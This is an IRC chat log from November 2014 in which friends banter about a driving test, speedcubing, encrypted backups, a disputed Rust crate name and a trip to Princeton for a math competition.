[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:42-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:43-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:44-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:45-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:46-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:47-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:48-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:48-0500] <alokpathy> No spam plz
[2014-11-21T12:39:49-0500] <JacobEdelman> hahahahahahahahahahahaha
[2014-11-21T12:39:50-0500] <JacobEdelman> oh, wow
[2014-11-21T12:39:51-0500] <JacobEdelman> too many hahahas?
[2014-11-21T12:39:57-0500] <alokpathy> Far too many
[2014-11-21T12:42:34-0500] <alokpathy> Tamini: You should go to Panera bread
[2014-11-21T12:42:40-0500] <alokpathy> tomorrow
[2014-11-21T12:43:42-0500] <alokpathy> Also when do you get here?
[2014-11-21T12:47:34-0500] <Tamini> did you just uh
[2014-11-21T12:47:42-0500] <Tamini> claim JacobEdelman was reaponsible
[2014-11-21T12:47:51-0500] <Tamini> and uhh like tonight
[2014-11-21T12:47:55-0500] <Tamini> brice said he might crash our dinner
[2014-11-21T12:47:58-0500] <Tamini> ask him about that
[2014-11-21T12:48:03-0500] <Tamini> and panera when?
[2014-11-21T12:48:12-0500] <alokpathy> Tamini: Tomorrow between 12am and 11:59pm
[2014-11-21T12:50:21-0500] <Tamini> sure, why not
[2014-11-21T12:50:30-0500] <Tamini> also where's the ice cream :O
[2014-11-21T12:50:57-0500] <Tamini> alokpathy: ask Brice whether he's coming to dinner with us, and tag along if he is! :P
[2014-11-21T12:51:16-0500] <~awe> Tamini: Go to Thomas Sweet's.
[2014-11-21T12:51:19-0500] <~awe> It's A++.
[2014-11-21T12:51:29-0500] <Tamini> <3 ok
[2014-11-21T12:51:39-0500] <~awe> They have milkshakes, and they're amazing.
[2014-11-21T12:52:34-0500] <alokpathy> Tamini: I'll ask lol
[2014-11-21T12:52:39-0500] <alokpathy> oya that too
[2014-11-21T12:52:48-0500] <Tamini> lolol
[2014-11-21T12:53:12-0500] <alokpathy> There's also this pretty decent college
[2014-11-21T12:53:17-0500] <alokpathy> that you can waddle around
[2014-11-21T12:53:18-0500] <+LittleBobbyTables> awe, you got it working?
[2014-11-21T12:53:37-0500] <~awe> No, I went to sleep and now I have to essay.
[2014-11-21T12:53:43-0500] <+LittleBobbyTables> lol ok
[2014-11-21T12:54:32-0500] <Tamini> lolol
[2014-11-21T12:54:41-0500] <~awe> But I'll do it tonight or tomorrow.
[2014-11-21T12:54:44-0500] <alokpathy> awe: What'd you use as your proof of address for your license?
[2014-11-21T12:54:57-0500] <~awe> alokpathy: My mom's license, I think.
[2014-11-21T12:55:11-0500] <alokpathy> Oh okay
[2014-11-21T12:55:21-0500] <alokpathy> and uh do they take unofficial transcript?
[2014-11-21T12:55:27-0500] <alokpathy> when they say "transcript"?
[2014-11-21T12:57:19-0500] <~awe> Probably?
[2014-11-21T12:57:20-0500] <~awe> I don't know.
[2014-11-21T12:57:22-0500] <~awe> I didn't do that.
[2014-11-21T12:57:29-0500] <alokpathy> What'd you do?
[2014-11-21T12:57:54-0500] <~awe> I think everything we brought was my passport, my mom's license, an electrical bill, and something else that I don't remember.
[2014-11-21T12:58:18-0500] <alokpathy> Ah okay
[2014-11-21T12:58:35-0500] <alokpathy> Test in three hours .-.
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[2014-11-21T13:04:30-0500] <Tamini> odang, you get it today?
[2014-11-21T13:05:00-0500] <alokpathy> Assuming I pass
[2014-11-21T13:09:10-0500] <Tamini> lol
[2014-11-21T13:09:13-0500] <Tamini> you will
[2014-11-21T13:09:18-0500] <alokpathy> Hope so
[2014-11-21T13:09:23-0500] <alokpathy> unless I screw up || parking
[2014-11-21T13:12:43-0500] <~awe> How would you screw up boolean or parking?
[2014-11-21T13:13:02-0500] <alokpathy> If it's false
[2014-11-21T13:13:09-0500] <alokpathy> i.e. I don't park
[2014-11-21T13:13:18-0500] <~awe> But both parts would have to be false.
[2014-11-21T13:13:32-0500] <~awe> up and parking would both have to be false.
[2014-11-21T13:13:40-0500] <alokpathy> If I don't park
[2014-11-21T13:13:42-0500] <alokpathy> and I specifically
[2014-11-21T13:13:50-0500] <alokpathy> park downwards
[2014-11-21T13:13:53-0500] <~awe> Oh, okay
[2014-11-21T13:13:57-0500] <~awe> Try not to do that.
[2014-11-21T13:14:00-0500] <alokpathy> or, rather
[2014-11-21T13:14:02-0500] <~awe> go for up && parking
[2014-11-21T13:14:10-0500] <alokpathy> "don't park" downwards
[2014-11-21T13:14:12-0500] <alokpathy> Yeah, that's my goal
[2014-11-21T13:14:26-0500] <~awe> At the very least though, parking.
[2014-11-21T13:14:33-0500] <Tamini> lol
[2014-11-21T13:15:40-0500] <alokpathy> Yeah
[2014-11-21T13:15:42-0500] <alokpathy> I can park
[2014-11-21T13:15:45-0500] <alokpathy> and even if I park downwards
[2014-11-21T13:15:46-0500] <alokpathy> I'll pass
[2014-11-21T13:17:40-0500] <JacobEdelman> pgp encrypting 7gbs is taking a while....
[2014-11-21T13:19:41-0500] <~awe> http://www.dslreports.com/shownews/DOJ-Tells-Apple-Kids-Will-Die-Because-of-Their-Encryption-Stand-131411
[2014-11-21T13:19:44-0500] <~awe> JacobEdelman: very.
[2014-11-21T13:20:47-0500] <~awe> Why are you encrypting 7 GBs?
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[2014-11-21T13:21:44-0500] alokpathy (alokpathy@pdgn-ds7.8hr.fmirh5.IP) left IRC (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client)
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[2014-11-21T13:22:02-0500] <JacobEdelman> ah, I'm back
[2014-11-21T13:22:03-0500] <JacobEdelman> so
[2014-11-21T13:22:07-0500] <JacobEdelman> I'm testing something
[2014-11-21T13:22:19-0500] <JacobEdelman> I'm using bup
[2014-11-21T13:22:19-0500] <JacobEdelman> https://github.com/bup/bup
[2014-11-21T13:22:24-0500] <JacobEdelman> to backup my stuff locally
[2014-11-21T13:22:26-0500] <JacobEdelman> and minbox.com
[2014-11-21T13:22:47-0500] <JacobEdelman> allows me to share and upload unlimited file sizes (except hey are deleted after a few weeks)
[2014-11-21T13:23:01-0500] <JacobEdelman> so, I decided I would encrypt my backup
[2014-11-21T13:23:04-0500] <JacobEdelman> and upload it
[2014-11-21T13:23:17-0500] <JacobEdelman> (but I decided against pgp encrypting it for now, too slow it seems)
[2014-11-21T13:23:26-0500] <~awe> Uhh, minbox stores the data in an encrypted way.
[2014-11-21T13:23:31-0500] <JacobEdelman> yes
[2014-11-21T13:23:36-0500] <JacobEdelman> but they might still be able to get it
[2014-11-21T13:23:52-0500] <JacobEdelman> (they can acutally since they allow shareable links and all that)
[2014-11-21T13:23:56-0500] <JacobEdelman> so, they have the key
[2014-11-21T13:24:22-0500] <JacobEdelman> anyway, the only list "bulletproof encryption" as a pro feature
[2014-11-21T13:24:26-0500] <JacobEdelman> which I am not
[2014-11-21T13:27:08-0500] <JacobEdelman> awe: this is cool
[2014-11-21T13:27:09-0500] <JacobEdelman> https://github.com/covertcodes/multitun
[2014-11-21T13:27:11-0500] <JacobEdelman> and useful for me
[2014-11-21T13:27:30-0500] <~awe> https://crates.io/crates/irc/0.0.2
[2014-11-21T13:27:32-0500] <~awe> fuck this guy.
[2014-11-21T13:28:47-0500] <JacobEdelman> put yours on quick
[2014-11-21T13:28:54-0500] <JacobEdelman> get irc.rt or whatever
[2014-11-21T13:28:57-0500] <JacobEdelman> or irc server
[2014-11-21T13:29:46-0500] <~awe> I can't find the source for this guy's crate either.
[2014-11-21T13:30:28-0500] <JacobEdelman> ha
[2014-11-21T13:31:50-0500] <JacobEdelman> why don't more people use minbox?
[2014-11-21T13:36:49-0500] <JacobEdelman> aweL that question was more or less directed to you
[2014-11-21T13:39:39-0500] <JacobEdelman> * awe: 
[2014-11-21T13:39:54-0500] <~awe> Unfortunately, nothing works as smoothly as Dropbox.
[2014-11-21T13:40:01-0500] <JacobEdelman> hmm... but still
[2014-11-21T13:40:05-0500] <JacobEdelman> unlimited space
[2014-11-21T13:40:13-0500] <~awe> Also, now I have to email this guy who uploaded the IRC library and ask him if he would let me have it instead.
[2014-11-21T13:40:24-0500] <JacobEdelman> and it becomes permamenet unlimited space for 14$ per month
[2014-11-21T13:40:59-0500] <JacobEdelman> I think I'm gonna see if I can make my computer do backups to minbox automaticaly every week or so
[2014-11-21T13:43:48-0500] <~awe> I have literally no idea what to say to this guy.
[2014-11-21T13:44:35-0500] <+LittleBobbyTables> Call him a fuckface.
[2014-11-21T13:44:44-0500] <JacobEdelman> insult his programming
[2014-11-21T13:44:46-0500] <JacobEdelman> :P
[2014-11-21T13:46:13-0500] <+LittleBobbyTables> I'm doing that in #rubik
[2014-11-21T13:46:40-0500] <Tamini> lol
[2014-11-21T13:53:58-0500] <Tamini> rip
[2014-11-21T13:54:02-0500] <Tamini> how do i
[2014-11-21T13:54:08-0500] <Tamini> entertain myself in a moving car
[2014-11-21T13:55:03-0500] <+LittleBobbyTables> get into cubing
[2014-11-21T13:55:09-0500] <+LittleBobbyTables> Get a laptop and program, watch movies/porn/TV
[2014-11-21T13:55:11-0500] <+LittleBobbyTables> Lots of things.
[2014-11-21T13:55:35-0500] <~awe> http://pastie.org/private/gm1gy0ehszsncblx4bc6a ?
[2014-11-21T13:55:37-0500] <~awe> Opinions?
[2014-11-21T13:55:49-0500] <~awe> (Besides the weird wrapping because I just started hitting enter so that it wouldn't be on one line on pastie)
[2014-11-21T14:00:03-0500] <Tamini> i did get into cubing
[2014-11-21T14:00:15-0500] <Tamini> but 4x4 edge perms are hard
[2014-11-21T14:00:19-0500] <+LittleBobbyTables> Not really
[2014-11-21T14:00:47-0500] <+LittleBobbyTables> Just get a perm that doesn't have slices, significantly easier.
[2014-11-21T14:01:47-0500] <~awe> Guys this is important tell me what you think of my email.
[2014-11-21T14:05:37-0500] <+LittleBobbyTables> It's definitely written, with your point addressed.
[2014-11-21T14:06:41-0500] <~awe> I have to change it.
[2014-11-21T14:06:44-0500] <~awe> It turns out, he doesn't have a library.
[2014-11-21T14:06:47-0500] <~awe> It's a single empty test.
[2014-11-21T14:06:48-0500] <~awe> Nothing else.
[2014-11-21T14:07:48-0500] <+LittleBobbyTables> Ugh, why do people have tabwidth set to 8...
[2014-11-21T14:08:02-0500] <~awe> https://www.dropbox.com/s/x8ze4uaflcn4m4n/Screenshot%202014-11-21%2014.07.51.png?dl=0
[2014-11-21T14:08:09-0500] <~awe> Does this look good?
[2014-11-21T14:09:58-0500] <~awe> I am platinum mad right now.
[2014-11-21T14:10:07-0500] <~awe> This shitbag pushes a single empty unit test to steal my library name.
[2014-11-21T14:10:22-0500] <~awe> I've been maintaining a Rust IRC library for over two months now. 
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[2014-11-21T14:22:31-0500] <Tamini> it works, i think
[2014-11-21T14:24:47-0500] <~awe> I sent it.
[2014-11-21T14:25:00-0500] <~awe> I really hope he just says "Okay, sorry." and lets me have it.
[2014-11-21T14:31:07-0500] <Tamini> i do too
[2014-11-21T14:32:14-0500] <+LittleBobbyTables> Tamini, what was your PB?
[2014-11-21T14:32:25-0500] <Tamini> hmm?
[2014-11-21T14:32:30-0500] <+LittleBobbyTables> For cubing
[2014-11-21T14:35:45-0500] <~awe> LittleBobbyTables: 12s on a 3x3x3
[2014-11-21T14:35:50-0500] <~awe> But it'll literally never happen again.
[2014-11-21T14:35:59-0500] <~awe> I had an OLL/PLL skip.
[2014-11-21T14:36:09-0500] <Tamini> i never cubed competitively
[2014-11-21T14:36:10-0500] <Tamini> lol
[2014-11-21T14:36:55-0500] <+LittleBobbyTables> What's your full step PB?
[2014-11-21T14:37:08-0500] <~awe> ~25s-ish.
[2014-11-21T14:37:19-0500] <~awe> I do 2-step OLL/PLL.
[2014-11-21T14:37:27-0500] <~awe> But I've also since forgotten a few of the algorithms for it.
[2014-11-21T14:37:38-0500] <~awe> So, I'm a bit slower now.
[2014-11-21T14:38:14-0500] <~awe> I should really memorize the full OLL/PLL sets.
[2014-11-21T14:38:14-0500] <+LittleBobbyTables> I recently got a non rubiks-brand cube, so I started caring about it more. Still do 4LLL, except for a few COLL/ZBLL cases I know.
[2014-11-21T14:38:57-0500] <~awe> Ah, 4LLLL is the term for doing 2-step OLL and 2-step PLL.
[2014-11-21T14:39:21-0500] <~awe> Okay.
[2014-11-21T14:39:30-0500] <~awe> But yeah, I don't use a rubik's-brand cube either.
[2014-11-21T14:39:37-0500] <+LittleBobbyTables> 4 look last layer
[2014-11-21T14:41:44-0500] <~awe> Yeah.
[2014-11-21T14:41:48-0500] <~awe> http://www.amazon.com/Dayan-ZhanChi-3x3x3-6-Color-Stickerless/dp/B008U6V50U/ref=pd_bxgy_t_text_z
[2014-11-21T14:42:08-0500] <~awe> I either have a ZhanChi or a GuHong, I'm not sure.
[2014-11-21T14:42:24-0500] <+LittleBobbyTables> How much did you spend?
[2014-11-21T14:43:28-0500] <~awe> They're both about $10.
[2014-11-21T14:43:40-0500] <+LittleBobbyTables> GuHong is 4
[2014-11-21T14:43:41-0500] <+LittleBobbyTables> :/
[2014-11-21T14:44:15-0500] <+LittleBobbyTables> nvm
[2014-11-21T14:44:20-0500] <+LittleBobbyTables> gualong is the 4 dollar cube
[2014-11-21T14:45:13-0500] <~awe> I have a ZhanChi.
[2014-11-21T14:45:42-0500] <~awe> Before that, I had a GuHong.
[2014-11-21T14:45:53-0500] <~awe> I've had two GuHongs and one ZhanChi.
[2014-11-21T14:46:06-0500] <+LittleBobbyTables> ZhanChi pops ;c
[2014-11-21T14:46:14-0500] <~awe> Sometimes, eyah.
[2014-11-21T14:46:15-0500] <+LittleBobbyTables> It'd be perfect if it didn't pop so much.
[2014-11-21T14:46:16-0500] <~awe> yeah*
[2014-11-21T14:46:22-0500] <~awe> It only pops if you force it.
[2014-11-21T14:46:55-0500] <+LittleBobbyTables> It can pop during regular solves too.
[2014-11-21T14:47:11-0500] <+LittleBobbyTables> Tends to pop on sub 20 if you try to corner cut too much, thouh.
[2014-11-21T14:47:34-0500] <~awe> That's what I mean by forcing it.
[2014-11-21T14:47:40-0500] <~awe> If you push too hard while cutting corners, it pops.
[2014-11-21T14:48:06-0500] <~awe> I compulsively do a finger trick on my cube when it's in my hand.
[2014-11-21T14:48:14-0500] <~awe> I used to do the finger trick to practice cutting corners without popping.
[2014-11-21T14:48:24-0500] <~awe> Now, I just do it if I'm holding the cube and not doing something else.
[2014-11-21T14:48:34-0500] <~awe> It used to pop a lot, but stopped.
[2014-11-21T14:49:22-0500] <~awe> That being said, I don't actually have my cube right now.
[2014-11-21T14:49:30-0500] <~awe> It's in the possession of someone who very well might never speak to me again.
[2014-11-21T14:50:29-0500] <~awe> Also, I can't stand stickers. So, the Dayan cubes are pretty much my only option.
[2014-11-21T14:50:42-0500] <+LittleBobbyTables> Buy a new one.
[2014-11-21T14:50:53-0500] <~awe> >Buy
[2014-11-21T14:50:54-0500] <~awe> >Money
[2014-11-21T14:50:59-0500] <~awe> I have no income right now.
[2014-11-21T14:51:03-0500] <+LittleBobbyTables> Mow a lawn.
[2014-11-21T14:51:09-0500] <~awe> I don't have a lawn mower.
[2014-11-21T14:51:51-0500] <+LittleBobbyTables> Rake leaves.
[2014-11-21T14:52:28-0500] <~awe> I don't have a rake.
[2014-11-21T14:52:40-0500] <~awe> I'm also averse to physical labor.
[2014-11-21T14:52:54-0500] <+LittleBobbyTables> Take a freelance job.
[2014-11-21T14:53:15-0500] <~awe> Are there any that don't take a ton of time?
[2014-11-21T14:53:32-0500] <+LittleBobbyTables> Look for some
[2014-11-21T14:53:44-0500] <~awe> When I've looked in the past, freelancing tended to be way more involved than I wanted.
[2014-11-21T14:54:09-0500] <+LittleBobbyTables> You can't really do everything you want, though.
[2014-11-21T14:55:34-0500] <~awe> Sure, but I don't want to go freelance for $100 and have to do a complete overhaul of somebody's shitty Java enterprise stuff.
[2014-11-21T14:55:51-0500] <+LittleBobbyTables> Generally isn't the case.
[2014-11-21T14:57:34-0500] <~awe> Well, I can worry about that later.
[2014-11-21T14:57:41-0500] <~awe> I've got a shitty essay to write.
[2014-11-21T15:03:31-0500] <+LittleBobbyTables> I should probably clean my room.
[2014-11-21T15:18:31-0500] <JacobEdelman> wait, you guys were discussing speed cubing?
[2014-11-21T15:18:48-0500] <+LittleBobbyTables> No, that's weird.
[2014-11-21T15:18:49-0500] <JacobEdelman> I used to speed cube, back in the day, but I was never much good (I think I peaked at one minute or something)
[2014-11-21T15:19:03-0500] <JacobEdelman> .... we are weird people
[2014-11-21T15:20:31-0500] <~awe> JacobEdelman: Buy me a Dayan ZhanChi.
[2014-11-21T15:20:37-0500] <JacobEdelman> no
[2014-11-21T15:20:38-0500] <JacobEdelman> :P
[2014-11-21T15:20:40-0500] <~awe> :(
[2014-11-21T15:20:45-0500] <JacobEdelman> theres a kid in my year at school
[2014-11-21T15:20:49-0500] <~awe> I tried.
[2014-11-21T15:20:51-0500] <JacobEdelman> who is at like 10 seconds one handed
[2014-11-21T15:20:58-0500] <JacobEdelman> wait
[2014-11-21T15:21:02-0500] <JacobEdelman> sorry 10 sec one hand
[2014-11-21T15:21:09-0500] <JacobEdelman> *two
[2014-11-21T15:21:16-0500] <JacobEdelman> 10 sec two hands, 17 sec one hand
[2014-11-21T15:21:36-0500] <+LittleBobbyTables> (even though that's a lie because OH WR is ~17)
[2014-11-21T15:21:43-0500] <+LittleBobbyTables> Or is it ~20? I don't remember.
[2014-11-21T15:21:49-0500] <JacobEdelman> his was at most 20sec
[2014-11-21T15:21:53-0500] <JacobEdelman> (I think 20 sec)
[2014-11-21T15:21:58-0500] <JacobEdelman> he was ranked naitonally
[2014-11-21T15:22:03-0500] <+LittleBobbyTables> Name?
[2014-11-21T15:22:05-0500] <JacobEdelman> I saw him do it in front of me, very fast
[2014-11-21T15:22:18-0500] <JacobEdelman> Hersh some long indian last name starting with an S
[2014-11-21T15:22:37-0500] <JacobEdelman> (I think his first name was spelled that way)
[2014-11-21T15:22:55-0500] <+LittleBobbyTables> JK, WR is 9.06 for OH
[2014-11-21T15:22:58-0500] <+LittleBobbyTables> I was thinking BLD
[2014-11-21T15:23:01-0500] <JacobEdelman> (I looked him up, he was there, although he says he hasn't been doing it as much this year, he was ranked two years ago)
[2014-11-21T15:23:07-0500] <JacobEdelman> ah, see
[2014-11-21T15:23:15-0500] <JacobEdelman> BLD? blind folded?
[2014-11-21T15:23:18-0500] <+LittleBobbyTables> Yeah
[2014-11-21T15:23:21-0500] <JacobEdelman> wow
[2014-11-21T15:23:23-0500] <JacobEdelman> that is fast
[2014-11-21T15:23:42-0500] <+LittleBobbyTables> It includes inspection time, unlike all the others.
[2014-11-21T15:25:01-0500] <+LittleBobbyTables> Maskow is amazing for mBLD
[2014-11-21T15:25:09-0500] <Tamini> damn
[2014-11-21T15:25:13-0500] <Tamini> legit cubing
[2014-11-21T15:27:48-0500] <+LittleBobbyTables> He has the UWR of 98/100 cubes. 
[2014-11-21T15:30:18-0500] <JacobEdelman> .... so much cubing speak
[2014-11-21T15:30:22-0500] <JacobEdelman> I used to do this
[2014-11-21T15:30:24-0500] <JacobEdelman> but no longer
[2014-11-21T15:31:08-0500] <~awe> Sigh, my roommate and his music are so annoying.
[2014-11-21T15:31:16-0500] <~awe> Time to put my headphones on and blast drone.
[2014-11-21T15:31:26-0500] <+LittleBobbyTables> Take his music player and hide it somewhere.
[2014-11-21T15:31:30-0500] <+LittleBobbyTables> Actually, sell it.
[2014-11-21T15:31:32-0500] <+LittleBobbyTables> Then you'll have money.
[2014-11-21T15:32:03-0500] <~awe> Hah.
[2014-11-21T15:32:12-0500] <~awe> He's playing it from his phone.
[2014-11-21T15:32:21-0500] <JacobEdelman> hmm... minbox can be dumb, when I started uploading my 7gb file it immedielty said: Hang tight.
[2014-11-21T15:32:21-0500] <JacobEdelman> Your files are almost finished uploading!
[2014-11-21T15:32:24-0500] <JacobEdelman> ...
[2014-11-21T15:33:17-0500] <JacobEdelman> wiat
[2014-11-21T15:33:22-0500] <JacobEdelman> whats a "music player"
[2014-11-21T15:33:31-0500] <JacobEdelman> is that one of those pre phone devices???
[2014-11-21T15:33:31-0500] <+LittleBobbyTables> Something that plays music.
[2014-11-21T15:33:42-0500] <JacobEdelman> a phone/ computer you mean?
[2014-11-21T15:33:52-0500] <+LittleBobbyTables> Or radio.
[2014-11-21T15:34:03-0500] <+LittleBobbyTables> Just a broad term for something that plays music.
[2014-11-21T15:34:08-0500] <JacobEdelman> radio.... thats like pandora right?
[2014-11-21T15:34:11-0500] <+LittleBobbyTables> Mostly because I didn't know what he was playing it from.
[2014-11-21T15:40:28-0500] <+LittleBobbyTables> !resistance
[2014-11-21T15:40:28-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-11-21T15:41:15-0500] <Tamini> ooh
[2014-11-21T15:41:19-0500] <The_Master> !join
[2014-11-21T15:41:22-0500] <Tamini> too bad im near princeton
[2014-11-21T15:41:24-0500] <Tamini> so its iffy
[2014-11-21T15:41:28-0500] <+LittleBobbyTables> Do it anyway.
[2014-11-21T15:41:39-0500] <+LittleBobbyTables> JacobEdelman: awe
[2014-11-21T15:41:51-0500] <~awe> I can't.
[2014-11-21T15:41:55-0500] <+LittleBobbyTables> :(
[2014-11-21T15:42:11-0500] <+LittleBobbyTables> nezorg: ubuntor Somebody27 sdamashek bob_twinkles j
[2014-11-21T15:42:16-0500] <~awe> Sorry, essay.
[2014-11-21T15:42:29-0500] <+LittleBobbyTables> What's more important, a class that doesn't matter or having fun?
[2014-11-21T15:46:08-0500] <nezorg> LittleBobbyTables: an age-old question
[2014-11-21T15:52:00-0500] <Tamini> lol
[2014-11-21T15:52:17-0500] <Tamini> what if classes are fun
[2014-11-21T15:52:38-0500] <JacobEdelman> what?
[2014-11-21T15:52:46-0500] <JacobEdelman> okay
[2014-11-21T15:52:47-0500] <JacobEdelman> !Join
[2014-11-21T15:52:50-0500] <JacobEdelman> !join
[2014-11-21T15:57:12-0500] <~awe> LittleBobbyTables: Passing this class is pretty important.
[2014-11-21T15:57:24-0500] <+LittleBobbyTables> It's just one essay.
[2014-11-21T15:57:28-0500] <+LittleBobbyTables> You can easily skip it, awe.
[2014-11-21T15:58:52-0500] alokpathy (alokpathy@pdgn-ds7.8hr.fmirh5.IP) joined the channel
[2014-11-21T15:58:56-0500] <alokpathy> woo
[2014-11-21T15:58:58-0500] <alokpathy> got a new form of ID
[2014-11-21T15:59:43-0500] <JacobEdelman> alokpathy: hi
[2014-11-21T15:59:51-0500] <+LittleBobbyTables> Hi apothy.
[2014-11-21T15:59:59-0500] <alokpathy> Hello friends
[2014-11-21T16:00:14-0500] <+LittleBobbyTables> !join
[2014-11-21T16:00:14-0500] <&Pidgey> You've already joined this game!
[2014-11-21T16:00:18-0500] <alokpathy> Wait
[2014-11-21T16:00:20-0500] <alokpathy> I need to afk
[2014-11-21T16:00:24-0500] <alokpathy> temprorarily
[2014-11-21T16:00:24-0500] <+LittleBobbyTables> No.
[2014-11-21T16:01:12-0500] <+LittleBobbyTables> Anyway, we only have four people with you.
[2014-11-21T16:06:32-0500] <alokpathy> Back
[2014-11-21T16:06:33-0500] <alokpathy> !join
[2014-11-21T16:07:14-0500] <The_Master> !start
[2014-11-21T16:07:14-0500] <&Pidgey> You need at least five players to play.
[2014-11-21T16:08:27-0500] <The_Master> I am trying to get be to come
[2014-11-21T16:09:38-0500] <The_Master> he said no
[2014-11-21T16:09:44-0500] <Tamini> wooo
[2014-11-21T16:09:48-0500] <Tamini> apothy, you got it?
[2014-11-21T16:10:28-0500] <alokpathy> Tamini: ye
[2014-11-21T16:10:57-0500] <Tamini> proud of ye
[2014-11-21T16:11:09-0500] <alokpathy> tqtq
[2014-11-21T16:11:36-0500] <alokpathy> I can drive you around Princeton tomorrow
[2014-11-21T16:11:40-0500] <alokpathy> assuming
[2014-11-21T16:11:42-0500] <alokpathy> I drive there
[2014-11-21T16:11:46-0500] <~awe> congrats, alokpathy
[2014-11-21T16:12:27-0500] <alokpathy> awe: thanksies
[2014-11-21T16:12:54-0500] <+LittleBobbyTables> !drop
[2014-11-21T16:12:54-0500] <&Pidgey> The game of Resistance has been dropped.
[2014-11-21T16:13:07-0500] <+LittleBobbyTables> afk for awhile
[2014-11-21T16:13:13-0500] <alokpathy> kk
[2014-11-21T16:15:13-0500] <Tamini> LOL
[2014-11-21T16:15:19-0500] <Tamini> i thought traffic was bad
[2014-11-21T16:15:28-0500] <Tamini> parking*
[2014-11-21T16:15:31-0500] <alokpathy> Tamini: It is
[2014-11-21T16:15:39-0500] <alokpathy> so I probably won't drive there myself
[2014-11-21T16:15:46-0500] <Tamini> ah ok
[2014-11-21T16:15:49-0500] <alokpathy> and everything's within walking distance
[2014-11-21T16:16:19-0500] <alokpathy> Tamini: Traffic is also bad
[2014-11-21T16:16:25-0500] <The_Master>  I lost the game.
[2014-11-21T16:16:28-0500] <alokpathy> especially since there'll probably be a shitton of kids walking around
[2014-11-21T16:16:33-0500] <alokpathy> The_Master: That's unfortunate
[2014-11-21T16:16:38-0500] • alokpathy: brbs
[2014-11-21T16:16:47-0500] <Tamini> lol true
[2014-11-21T16:19:59-0500] • alokpathy: back
[2014-11-21T16:20:04-0500] <alokpathy> Tamini: Oh and I also
[2014-11-21T16:20:06-0500] <alokpathy> don't have insurance
[2014-11-21T16:20:12-0500] <alokpathy> so I cant' actually drive by myself just yet
[2014-11-21T16:20:18-0500] <Tamini> LOL
[2014-11-21T16:22:51-0500] <~awe> alokpathy: lol
[2014-11-21T16:23:03-0500] <~awe> Honestly, parking in Princeton isn't that bad.
[2014-11-21T16:23:10-0500] <~awe> There's a bunch of parking garages near Hullfish St.
[2014-11-21T16:24:06-0500] <~awe> They're not all that expensive.
[2014-11-21T16:24:15-0500] <~awe> It costs a couple bucks.
[2014-11-21T16:24:45-0500] <~awe> There's also an area just past the public library and HITOPS where there's free street parking, and you can usually find a spot there.
[2014-11-21T16:25:59-0500] <Tamini> we're here! <3
[2014-11-21T16:26:15-0500] <~awe> Tamini: you're in Princeton?
[2014-11-21T16:27:12-0500] <Tamini> mhm
[2014-11-21T16:29:14-0500] <JacobEdelman> really?
[2014-11-21T16:29:22-0500] <JacobEdelman> wait, you got a hotel just for pumac???
[2014-11-21T16:29:24-0500] <Tamini> yeeep
[2014-11-21T16:29:27-0500] <JacobEdelman> wow
[2014-11-21T16:29:38-0500] <alokpathy> awe: Yeah, but none of that is near where I'm supposed to meet up with the math team
[2014-11-21T16:29:38-0500] <JacobEdelman> i didn't know there were hotels in princeton
[2014-11-21T16:29:41-0500] <JacobEdelman> you should visit ben
[2014-11-21T16:29:52-0500] <~awe> Well, there aren't any in downtown Princeton.
[2014-11-21T16:30:03-0500] <~awe> But there's hotels behind Market Fair.
